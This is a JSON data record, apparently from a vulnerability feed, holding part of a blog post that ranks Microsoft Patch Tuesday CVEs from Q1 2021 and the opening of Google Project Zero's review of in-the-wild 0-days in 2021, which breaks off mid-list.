received a CVSSv3 score of 9.8. This bug is exploitable by a remote attacker with no requirements for user interaction or a privileged account. As the vulnerability affects DNS servers, it is possible this flaw could be wormable and spread within a network.&quot;\n\nBut for these 2 vulnerabilities, there are still no public exploits or signs of active exploitation in the wild. This, of course, does not mean that these vulnerabilities do not need to be fixed. When we see the exploitation of these vulnerabilities the wild, it will be a disaster.\n\n## March 2021\n\n * All vulnerabilities: 82\n * Urgent: 0\n * Critical: 0\n * High: 36\n * Medium: 43\n * Low: 3\n\nAnd again, we see in the top not exactly the same vulnerabilities that VM vendors pointed out in their reviews.\n\n * Windows Container Execution Agent Elevation of Privilege Vulnerability (CVE-2021-26891). Just because a public exploit was found at Vulners ([Microsoft Windows Containers Privilege Escalation](<https://vulners.com/packetstorm/packetstorm:161734>)). \n * Internet Explorer Memory Corruption (CVE-2021-26411). &quot;A memory corruption vulnerability in Internet Explorer that was exploited in the wild as a zero-day. In order to exploit the flaw, an attacker would need to host the exploit code on a malicious website and convince a user through social engineering tactics to visit the page, or the attacker could inject the malicious payload into a legitimate website&quot;. Exploitation in the wild is mentioned at [AttackerKB](<https://attackerkb.com/topics/WZgkdqe2vN/cve-2021-26411>).\n\nBut we also see several Windows DNS Server Remote Code Executions . &quot;All five of these CVEs were assigned 9.8 CVSSv3 scores and can be exploited by an unauthenticated attacker when dynamic updates are enabled. According to an analysis by researchers at McAfee, these CVEs are not considered \u201cwormable,\u201d yet they do evoke memories of CVE-2020-1350 (SIGRed), a 17-year-old wormable flaw patched in July 2020.&quot; In general, updating DNS Server is never a bad thing.\n\nAnd where is the most important thing? Naturally these are Exchange vulnerabilities and they were published between Patch Tuesdays. I made a special script to get such CVEs.\n\n## Other Q1 2021\n\n * All vulnerabilities: 85\n * Urgent: 0\n * Critical: 7\n * High: 5\n * Medium: 27\n * Low: 46\n\nThe 7 critical vulnerabilities are those Microsoft Exchange Server Remote Code Executions exploited in recent attacks. They have signs of exploitation in the wild at [AttackerKB](<https://attackerkb.com/topics/eIPBftle3R/cve-2021-26855>) and [Microsoft](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>). However, we still don&#x27;t see public exploits.\n\n&quot;[ProxyLogon](<https://proxylogon.com/>) is the formally generic name for CVE-2021-26855, a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication and impersonating as the admin. We have also chained this bug with another post-auth arbitrary-file-write vulnerability, CVE-2021-27065, to get code execution. All affected components are vulnerable by default! As a result, an unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server through an only opened 443 port!&quot;\n\nEverything is extremely serious with these vulnerabilities and if you have public unpatched Exchange servers, then there is a good chance that you have already been hacked. For example, by HAFNIUM.\n\n&quot;Hafnium is a state-sponsored threat actor identified by the Microsoft Threat Intelligence Center (MSTIC)&quot;.\n\n&quot;Recently, Hafnium has engaged in a number of attacks using previously unknown exploits targeting on-premises Exchange Server software. To date, Hafnium is the primary actor we\u2019ve seen use these exploits, which are discussed in detail [by MSTIC here](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>). The attacks included three steps. First, it would gain access to an Exchange Server either with stolen passwords or by using the previously undiscovered vulnerabilities to disguise itself as someone who should have access. Second, it would create what\u2019s called a web shell to control the compromised server remotely. Third, it would use that remote access \u2013 run from the U.S.-based private servers \u2013 to steal data from an organization\u2019s network.&quot;\n\nIn short, these Exchange vulnerabilities are the top.\n\nThe rest are Chrome vulnerabilities, simply because Microsoft&#x27;s browser is now based on Chrome.\n\nYou can download full versions of reports here:\n\n * [ms_patch_tuesday_january2021](<http://avleonov.com/vulristics_reports/ms_patch_tuesday_january2021_report_avleonov_comments.html>)\n * [ms_patch_tuesday_february2021](<http://avleonov.com/vulristics_reports/ms_patch_tuesday_february2021_report_avleonov_comments.html>)\n * [ms_patch_tuesday_march2021](<http://avleonov.com/vulristics_reports/ms_patch_tuesday_march2021_report_avleonov_comments.html>)\n * [ms_patch_tuesday_other_Q1_2021](<http://avleonov.com/vulristics_reports/ms_patch_tuesday_other_Q1_2021_report_avleonov_comments.html>)\n", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-03-26T02:47:52", "type": "avleonov", "title": "Vulristics: Microsoft Patch Tuesdays Q1 2021", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0986", "CVE-2020-1350", "CVE-2021-1647", "CVE-2021-1648", "CVE-2021-1658", "CVE-2021-1660", "CVE-2021-1664", "CVE-2021-1666", "CVE-2021-1667", "CVE-2021-1669", "CVE-2021-1671", "CVE-2021-1673", "CVE-2021-1698", "CVE-2021-1700", "CVE-2021-1701", "CVE-2021-1730", "CVE-2021-1732", "CVE-2021-24074", "CVE-2021-24078", "CVE-2021-24085", "CVE-2021-24086", "CVE-2021-24094", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26891", "CVE-2021-27065"], "modified": "2021-03-26T02:47:52", "id": "AVLEONOV:13BED8E5AD26449401A37E1273217B9A", "href": "http://feedproxy.google.com/~r/avleonov/~3/poQoyaBweKg/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "googleprojectzero": [{"lastseen": "2023-08-07T02:19:24", "description": "A Year in Review of 0-days Used In-the-Wild in 2021\n\nPosted by Maddie Stone, Google Project Zero\n\nThis is our third annual year in review of 0-days exploited in-the-wild [[2020](<https://googleprojectzero.blogspot.com/2021/02/deja-vu-lnerability.html>), [2019](<https://googleprojectzero.blogspot.com/2020/07/detection-deficit-year-in-review-of-0.html>)]. Each year we\u2019ve looked back at all of the detected and disclosed in-the-wild 0-days as a group and synthesized what we think the trends and takeaways are. The goal of this report is not to detail each individual exploit, but instead to analyze the exploits from the year as a group, looking for trends, gaps, lessons learned, successes, etc. If you\u2019re interested in the analysis of individual exploits, please check out our [root cause analysis repository](<https://googleprojectzero.blogspot.com/p/rca.html>).\n\nWe perform and share this analysis in order to make 0-day hard. We want it to be more costly, more resource intensive, and overall more difficult for attackers to use 0-day capabilities. 2021 highlighted just how important it is to stay relentless in our pursuit to make it harder for attackers to exploit users with 0-days. We heard [over](<https://forbiddenstories.org/about-the-pegasus-project/>) and [over](<https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/>) and [over](<https://www.amnesty.org/en/latest/research/2021/11/devices-of-palestinian-human-rights-defenders-hacked-with-nso-groups-pegasus-spyware-2/>) about how governments were targeting journalists, minoritized populations, politicians, human rights defenders, and even security researchers around the world. The decisions we make in the security and tech communities can have real impacts on society and our fellow humans\u2019 lives.\n\nWe\u2019ll provide our evidence and process for our conclusions in the body of this post, and then wrap it all up with our thoughts on next steps and hopes for 2022 in the conclusion. If digging into the bits and bytes is not your thing, then feel free to just check-out the Executive Summary and Conclusion.\n\n# Executive Summary\n\n2021 included the detection and disclosure of 58 in-the-wild 0-days, the most ever recorded since Project Zero began tracking in mid-2014. That\u2019s more than double the previous maximum of 28 detected in 2015 and especially stark when you consider that there were only 25 detected in 2020. We\u2019ve tracked publicly known in-the-wild 0-day exploits in [this spreadsheet](<https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=0>) since mid-2014.\n\nWhile we often talk about the number of 0-day exploits used in-the-wild, what we\u2019re actually discussing is the number of 0-day exploits detected and disclosed as in-the-wild. And that leads into our first conclusion: we believe the large uptick in in-the-wild 0-days in 2021 is due to increased detection and disclosure of these 0-days, rather than simply increased usage of 0-day exploits.\n\nWith this record number of in-the-wild 0-days to analyze we saw that attacker methodology hasn\u2019t actually had to change much from previous years. Attackers are having success using the same bug patterns and exploitation techniques and going after the same attack surfaces. Project Zero\u2019s mission is \u201cmake 0day hard\u201d. 0-day will be harder when, overall, attackers are not able to use public methods and techniques for developing their 0-day exploits. When we look over these 58 0-days used in 2021, what we see instead are 0-days that are similar to previous &amp; publicly known vulnerabilities. Only two 0-days stood out as novel: one for the technical sophistication of its exploit and the other for its use of logic bugs to escape the sandbox.\n\nSo while we recognize the industry\u2019s improvement in the detection and disclosure of in-the-wild 0-days, we also acknowledge that there\u2019s a lot more improving to be done. Having access to more \u201cground truth\u201d of how attackers are actually using 0-days shows us that they are able to have success by using previously known techniques and methods rather than having to invest in developing novel techniques. This is a clear area of opportunity for the tech industry.\n\nWe had so many more data points in 2021 to learn about attacker behavior than we\u2019ve had in the past. Having all this data, though, has left us with even more questions than we had before. Unfortunately, attackers who actively use 0-day exploits do not share the 0-days they\u2019re using or what percentage of 0-days we\u2019re missing in our tracking, so we\u2019ll never know exactly what proportion of 0-days are currently being found and disclosed publicly. \n\nBased on our analysis of the 2021 0-days we hope to see the following progress in 2022 in order to continue taking steps towards making 0-day hard:\n\n 1. All vendors agree to disclose the in-the-wild exploitation status of vulnerabilities in their security bulletins.\n 2. Exploit samples or detailed technical descriptions of the exploits are shared more widely.\n 3. Continued concerted efforts on reducing memory corruption vulnerabilities or rendering them unexploitable.Launch mitigations that will significantly impact the exploitability of memory corruption vulnerabilities.\n\n# A Record Year for In-the-Wild 0-days\n\n2021 was a record year for in-the-wild 0-days. So what happened?\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjC72HVhQEdwHNIzMiyb18bUFr6hPCWJiKL2Mm43-tW11qc0ucOPI8A9oChEXQe0-QNOBF83SIcfyjcyvPveuWvgipbiBzHWqZTx2-LilJFYIbx6uQeno9f481HJQ0CgylQkh8Ks7AbGC6tjhYDNBcI7jh6ihhzJATA0r_P4bQUBm-1lmHp2DPvWM6I/s1200/image1%287%29.png>)\n\nIs it that software security is getting worse? Or is it that attackers are using 0-day exploits more? Or has our ability to detect and disclose 0-days increased? When looking at the significant uptick from 2020 to 2021, we think it's mostly explained by the latter. While we believe there has been a steady growth in interest and investment in 0-day exploits by attackers in the past several years, and that security still needs to urgently improve, it appears that the security industry's ability to detect and disclose in-the-wild 0-day exploits is the primary explanation for the increase in observed 0-day exploits in 2021.\n\nWhile we often talk about \u201c0-day exploits used in-the-wild\u201d, what we\u2019re actually tracking are \u201c0-day exploits detected and disclosed as used in-the-wild\u201d. There are more factors than just the use that contribute to an increase in that number, most notably: detection and disclosure. Better detection of 0-day exploits and more transparently disclosed exploited 0-day vulnerabilities is a positive indicator for security and progress in the industry. \n\nOverall, we can break down the uptick in the number of in-the-wild 0-days into:\n\n * More detection of in-the-wild 0-day exploits\n * More public disclosure of in-the-wild 0-day exploitation\n\n## More detection\n\nIn the [2019 Year in Review](<https://googleprojectzero.blogspot.com/2020/07/detection-deficit-year-in-review-of-0.html>), we wrote about the \u201cDetection Deficit\u201d. We stated \u201cAs a community, our ability to detect 0-days being used in the wild is severely lacking to the point that we can\u2019t draw significant conclusions due to the lack of (and biases in) the data we have collected.\u201d In the last two years, we believe that there\u2019s been progress on this gap. \n\nAnecdotally, we hear from more people that they\u2019ve begun working more on detection of 0-day exploits. Quantitatively, while a very rough measure, we\u2019re also seeing the number of entities credited with reporting in-the-wild 0-days increasing. It stands to reason that if the number of people working on trying to find 0-day exploits increases, then the number of in-the-wild 0-day exploits detected may increase.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMbFpoEKSSn5AbAzsovaZ0yN6_OFXo9u4hpDCXJBpro8LRUWJlVQ9CSqtzT2V9ohrhOvP3_RnrYsOzFGPK0FZGJmW2713g2vVW82ReJVXpjAZc57BCxtHg8i-6AdR_ThDZB6UKvzAKekbmAkuUBliMyDyWSBW87z4ZZQJC3KX-_ptZIHveotLGoJ9I/s1200/image5%284%29.png>)\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRS0t_2Bwvc3U_EIr5h7NcWpQyjzHCPb4OMiDpzPxPs587otAEj8bzwch8UMFlgKchwdSq4L_PXRn1O6KGLHUl4X9voLBdZJNQsgQyJcMCVB4Y8-aRHaXRpOYZw7KVtyNYwdWpwX8ILUV1fyG2kDsXVWORsSPUBGVTON90gWf9POhhxA4edxNe1eoV/s1200/image2%285%29.png>)\n\nWe\u2019ve also seen the number of vendors detecting in-the-wild 0-days in their own products increasing. Whether or not these vendors were previously working on detection, vendors seem to have found ways to be more successful in 2021. Vendors likely have the most telemetry and overall knowledge and visibility into their products so it\u2019s important that they are investing in (and hopefully having success in) detecting 0-days targeting their own products. As shown in the chart above, there was a significant increase in the number of in-the-wild 0-days discovered by vendors in their own products. Google discovered 7 of the in-the-wild 0-days in their own products and Microsoft discovered 10 in their products!\n\n## More disclosure\n\nThe second reason why the number of detected in-the-wild 0-days has increased is due to more disclosure of these vulnerabilities. Apple and Google Android (we differentiate \u201cGoogle Android\u201d rather than just \u201cGoogle\u201d because Google Chrome has been annotating their security bulletins for the last few years) first began labeling vulnerabilities in their security advisories with the information about potential in-the-wild exploitation in November 2020 and January 2021 respectively. When vendors don\u2019t annotate their release notes, the only way we know that a 0-day was exploited in-the-wild is if the researcher who discovered the exploitation comes forward. If Apple and Google Android had not begun annotating their release notes, the public would likely not know about at least 7 of the Apple in-the-wild 0-days and 5 of the Android in-the-wild 0-days. Why? Because these vulnerabilities were reported by \u201cAnonymous\u201d reporters. If the reporters didn\u2019t want credit for the vulnerability, it\u2019s unlikely that they would have gone public to say that there were indications of exploitation. That is 12 0-days that wouldn\u2019t have been included in this year\u2019s list if Apple and Google Android had not begun transparently annotating their security advisories. \n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPe_J-0Wu9Ap-0n3Yj5BoXiWTnjViyyGasIChhb3juADZosK9nTbyiaWtzuRyjwG3frQNjLsvRMRoQHrFfo1iKa3GjmcuLHqat40GcoechQ16XbhpVGwF7m_TJ0Oucvy3wvm8x0aXbVnJfhkG2FNkxI4cJf5ONBqEYnPxQDUmZChvByLHE8OzSU20N/s1200/image3%287%29.png>)\n\nKudos and thank you to Microsoft, Google Chrome, and Adobe who have been annotating their security bulletins for transparency for multiple years now! And thanks to Apache who also annotated their release notes for [CVE-2021-41773](<https://httpd.apache.org/security/vulnerabilities_24.html>) this past year. \n\nIn-the-wild 0-days in Qualcomm and ARM products were annotated as in-the-wild in Android security bulletins, but not in the vendor\u2019s own security advisories.\n\nIt's highly likely that in 2021, there were other 0-days that were exploited in the wild and detected, but vendors did not mention this in their release notes. In 2022, we hope that more vendors start noting when they patch vulnerabilities that have been exploited in-the-wild. Until we\u2019re confident that all vendors are transparently disclosing in-the-wild status, there\u2019s a big question of how many in-the-wild 0-days are discovered, but not labeled publicly by vendors.\n\n# New Year, Old Techniques\n\nWe had a record number of \u201cdata points\u201d in 2021 to understand how attackers are actually using 0-day exploits. A bit surprising to us though, out of all those data points, there was nothing new amongst all this data. 0-day exploits are considered one of the most advanced attack methods an actor can use, so it would be easy to conclude that attackers must be using special tricks and attack surfaces. But instead, the 0-days we saw in 2021 generally followed the same bug patterns, attack surfaces, and exploit \u201cshapes\u201d previously seen in public research. Once \u201c0-day is hard\u201d, we\u2019d expect that to be successful, attackers would have to find new bug classes of vulnerabilities in new attack surfaces using never before seen exploitation methods. In general, that wasn't what the data showed us this year. With two exceptions (described below in the iOS section) out of the 58, everything we saw was pretty \u201c[meh](<https://www.dictionary.com/browse/meh#:~:text=unimpressive%3B%20boring%3A>)\u201d or standard.\n\nOut of the 58 in-the-wild 0-days for the year, 39, or 67% were memory corruption vulnerabilities. Memory corruption vulnerabilities have been the standard for attacking software for the last few decades and it\u2019s still how attackers are having success. Out of these memory corruption vulnerabilities, the majority also stuck with very popular and well-known bug classes:\n\n * 17 use-after-free\n * 6 out-of-bounds read &amp; write\n * 4 buffer overflow\n * 4 integer overflow\n\nIn the next sections we\u2019ll dive into each major platform that we saw in-the-wild 0-days for this year. We\u2019ll share the trends and explain why what we saw was pretty unexceptional.\n\n## Chromium (Chrome)\n\nChromium had a record high number of 0-days detected and disclosed in 2021 with 14. Out of these 14, 10 were renderer remote code execution bugs, 2 were sandbox escapes, 1 was an infoleak, and 1 was used to open a webpage in Android apps other than Google Chrome.\n\nThe 14 0-day vulnerabilities were in the following components:\n\n * 6 JavaScript Engine - v8 ([CVE-2021-21148](<https://chromereleases.googleblog.com/2021/02/stable-channel-update-for-desktop_4.html>), [CVE-2021-30551](<https://chromereleases.googleblog.com/2021/02/stable-channel-update-for-desktop_4.html>), [CVE-2021-30563](<https://chromereleases.googleblog.com/2021/07/stable-channel-update-for-desktop.html>), [CVE-2021-30632](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30632.html>), [CVE-2021-37975](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-37975.html>), [CVE-2021-38003](<https://chromereleases.googleblog.com/2021/10/stable-channel-update-for-desktop_28.html>))\n * 2 DOM Engine - Blink ([CVE-2021-21193](<https://chromereleases.googleblog.com/2021/03/stable-channel-update-for-desktop_12.html>) &amp; [CVE-2021-21206](<https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop.html>))\n * 1 WebGL ([CVE-2021-30554](<https://chromereleases.googleblog.com/2021/06/stable-channel-update-for-desktop_17.html>))\n * 1 IndexedDB ([CVE-2021-30633](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop.html>))\n * 1 webaudio ([CVE-2021-21166](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-21166.html>))\n * 1 Portals ([CVE-2021-37973](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop_24.html>))\n * 1 Android Intents ([CVE-2021-38000](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-38000.html>))\n * 1 Core ([CVE-2021-37976](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop_30.html>))\n\nWhen we look at the components targeted by these bugs, they\u2019re all attack surfaces seen before in public security research and previous exploits. If anything, there are a few less DOM bugs and more targeting these other components of browsers like IndexedDB and WebGL than previously. 13 out of the 14 Chromium 0-days were memory corruption bugs. Similar to last year, most of those memory corruption bugs are use-after-free vulnerabilities.\n\nA couple of the Chromium bugs were even similar to previous in-the-wild 0-days. [CVE-2021-21166](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-21166.html>) is an issue in ScriptProcessorNode::Process() in webaudio where there\u2019s insufficient locks such that buffers are accessible in both the main thread and the audio rendering thread at the same time. [CVE-2019-13720](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2019/CVE-2019-13720.html>) is an in-the-wild 0-day from 2019. It was a vulnerability in ConvolverHandler::Process() in webaudio where there were also insufficient locks such that a buffer was accessible in both the main thread and the audio rendering thread at the same time.\n\n[CVE-2021-30632](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30632.html>) is another Chromium in-the-wild 0-day from 2021. It\u2019s a type confusion in the TurboFan JIT in Chromium\u2019s JavaScript Engine, v8, where Turbofan fails to deoptimize code after a property map is changed. [CVE-2021-30632](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30632.html>) in particular deals with code that stores global properties. [CVE-2020-16009](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-16009.html>) was also an in-the-wild 0-day that was due to Turbofan failing to deoptimize code after map deprecation.\n\n## WebKit (Safari)\n\nPrior to 2021, Apple had only acknowledged 1 publicly known in-the-wild 0-day targeting WebKit/Safari, and that was due the sharing by an external researcher. In 2021 there were 7. This makes it hard for us to assess trends or changes since we don\u2019t have historical samples to go off of. Instead, we\u2019ll look at 2021\u2019s WebKit bugs in the context of other Safari bugs not known to be in-the-wild and other browser in-the-wild 0-days. \n\nThe 7 in-the-wild 0-days targeted the following components:\n\n * 4 Javascript Engine - JavaScript Core ([CVE-2021-1870](<https://support.apple.com/en-us/HT212146>), [CVE-2021-1871](<https://support.apple.com/en-us/HT212146>), [CVE-2021-30663](<https://support.apple.com/en-us/HT212336>), [CVE-2021-30665](<https://support.apple.com/en-us/HT212336>))\n * 1 IndexedDB ([CVE-2021-30858](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30858.html>))\n * 1 Storage ([CVE-2021-30661](<https://support.apple.com/en-us/HT212317>))\n * 1 Plugins ([CVE-2021-1879](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1879.html>))\n\nThe one semi-surprise is that no DOM bugs were detected and disclosed. In previous years, vulnerabilities in the DOM engine have generally made up 15-20% of the in-the-wild browser 0-days, but none were detected and disclosed for WebKit in 2021. \n\nIt would not be surprising if attackers are beginning to shift to other modules, like third party libraries or things like IndexedDB. The modules may be more promising to attackers going forward because there\u2019s a better chance that the vulnerability may exist in multiple browsers or platforms. For example, the webaudio bug in Chromium, [CVE-2021-21166](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-21166.html>), also existed in WebKit and was fixed as [CVE-2021-1844](<https://support.apple.com/en-us/HT212223>), though there was no evidence it was exploited in-the-wild in WebKit. The IndexedDB in-the-wild 0-day that was used against Safari in 2021, [CVE-2021-30858](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30858.html>), was very, very similar to a [bug fixed in Chromium in January 2020](<https://bugs.chromium.org/p/chromium/issues/detail?id=1032890>).\n\n## Internet Explorer\n\nSince we began tracking in-the-wild 0-days, Internet Explorer has had a pretty consistent number of 0-days each year. 2021 actually tied 2016 for the most in-the-wild Internet Explorer 0-days we\u2019ve ever tracked even though Internet Explorer\u2019s market share of web browser users continues to decrease.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbMTlnGhVLcVL8K20S3s6hSrpyB6kZAA9CWvWNpn1isbEbLFv0c2rs_dPvM0ALT45NtTvyhp8rGehGDRIAEJ6OZYSkk5mezOEoPJOquVXXyHeqrVOvRGEiQHv_J7Je8Itjc5qhwXMCR-E4y79abuxiddCYoeF2VrVakY-L1q82NeMEPjTA0fFC-t8h/s1200/image4%286%29.png>)\n\nSo why are we seeing so little change in the number of in-the-wild 0-days despite the change in market share? Internet Explorer is still a ripe attack surface for initial entry into Windows machines, even if the user doesn\u2019t use Internet Explorer as their Internet browser. While the number of 0-days stayed pretty consistent to what we\u2019ve seen in previous years, the components targeted and the delivery methods of the exploits changed. 3 of the 4 0-days seen in 2021 targeted the MSHTML browser engine and were delivered via methods other than the web. Instead they were delivered to targets via Office documents or other file formats. \n\nThe four 0-days targeted the following components:\n\n * MSHTML browser engine ([CVE-2021-26411](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26411.html>), [CVE-2021-33742](<https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-33742.html>), [CVE-2021-40444](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>))\n * Javascript Engine - JScript9 ([CVE-2021-34448](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34448>))\n\nFor [CVE-2021-26411](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26411.html>) targets of the campaign initially received a .mht file, which prompted the user to open in Internet Explorer. Once it was opened in Internet Explorer, the exploit was downloaded and run. [CVE-2021-33742](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-33742.html>) and [CVE-2021-40444](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>) were delivered to targets via malicious Office documents.\n\n[CVE-2021-26411](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26411.html>) and [CVE-2021-33742](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-33742.html>) were two common memory corruption bug patterns: a use-after-free due to a user controlled callback in between two actions using an object and the user frees the object during that callback and a buffer overflow.\n\nThere were a few different vulnerabilities used in the exploit chain that used [CVE-2021-40444](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>), but the one within MSHTML was that as soon as the Office document was opened the payload would run: a CAB file was downloaded, decompressed, and then a function from within a DLL in that CAB was executed. Unlike the previous two MSHTML bugs, this was a logic error in URL parsing rather than a memory corruption bug.\n\n## Windows\n\nWindows is the platform where we\u2019ve seen the most change in components targeted compared with previous years. However, this shift has generally been in progress for a few years and predicted with the end-of-life of Windows 7 in 2020 and thus why it\u2019s still not especially novel.\n\nIn 2021 there were 10 Windows in-the-wild 0-days targeting 7 different components:\n\n * 2 Enhanced crypto provider ([CVE-2021-31199](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31199>), [CVE-2021-31201](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31201>))\n * 2 NTOS kernel ([CVE-2021-33771](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33771>), [CVE-2021-31979](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31979>))\n * 2 Win32k ([CVE-2021-1732](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1732.html>), [CVE-2021-40449](<https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/>))\n * 1 Windows update medic ([CVE-2021-36948](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36948>)) \n * 1 SuperFetch ([CVE-2021-31955](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31955>))\n * 1 dwmcore.dll ([CVE-2021-28310](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28310>))\n * 1 ntfs.sys ([CVE-2021-31956](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31956>))\n\nThe number of different components targeted is the shift from past years. For example, in 2019 75% of Windows 0-days targeted Win32k while in 2021 Win32k only made up 20% of the Windows 0-days. The reason that this was expected and predicted was that 6 out of 8 of those 0-days that targeted Win32k in 2019 did not target the latest release of Windows 10 at that time; they were targeting older versions. With Windows 10 Microsoft began dedicating more and more resources to locking down the attack surface of Win32k so as those older versions have hit end-of-life, Win32k is a less and less attractive attack surface.\n\nSimilar to the many Win32k vulnerabilities seen over the years, the two 2021 Win32k in-the-wild 0-days are due to custom user callbacks. The user calls functions that change the state of an object during the callback and Win32k does not correctly handle those changes. [CVE-2021-1732](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1732.html>) is a type confusion vulnerability due to a user callback in xxxClientAllocWindowClassExtraBytes which leads to out-of-bounds read and write. If NtUserConsoleControl is called during the callback a flag is set in the window structure to signal that a field is an offset into the kernel heap. xxxClientAllocWindowClassExtraBytes doesn\u2019t check this and writes that field as a user-mode pointer without clearing the flag. The first in-the-wild 0-day detected and disclosed in 2022, [CVE-2022-21882](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2022/CVE-2022-21882.html>), is due to [CVE-2021-1732](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1732.html>) actually not being fixed completely. The attackers found a way to bypass the original patch and still trigger the vulnerability. [CVE-2021-40449](<https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/>) is a use-after-free in NtGdiResetDC due to the object being freed during the user callback. \n\n## iOS/macOS\n\nAs discussed in the \u201cMore disclosure\u201d section above, 2021 was the first full year that Apple annotated their release notes with in-the-wild status of vulnerabilities. 5 iOS in-the-wild 0-days were detected and disclosed this year. The first publicly known macOS in-the-wild 0-day ([CVE-2021-30869](<https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/>)) was also found. In this section we\u2019re going to discuss iOS and macOS together because: 1) the two operating systems include similar components and 2) the sample size for macOS is very small (just this one vulnerability).\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPGaOlQUGIYyvpDY_M0rGh3JekH4mwXHfN459HYcklg74v4Mfp8j6fgh2SM09mjhA4svdgN_TdSN3R5Bb-DJTHnlo63qnRTsvLs1EZgAE3fBpRtsZhxKhyBNTb_khdS6mNT3EtSHnS_R-TshtHx-gSWnEPpHjmSqO_9Y7JxupGcDKZ0-xwsxgbX6zR/s1200/image6%284%29.png>)\n\nFor the 5 total iOS and macOS in-the-wild 0-days, they targeted 3 different attack surfaces:\n\n * IOMobileFrameBuffer ([CVE-2021-30807](<https://support.apple.com/en-us/HT212623>), [CVE-2021-30883](<https://support.apple.com/en-us/HT212846>))\n * XNU Kernel ([CVE-2021-1782](<https://support.apple.com/en-us/HT212146>) &amp; [CVE-2021-30869](<https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/>))\n * CoreGraphics ([CVE-2021-30860](<https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html>))\n * CommCenter ([FORCEDENTRY sandbox escape](<https://googleprojectzero.blogspot.com/2022/03/forcedentry-sandbox-escape.html>) \\- CVE 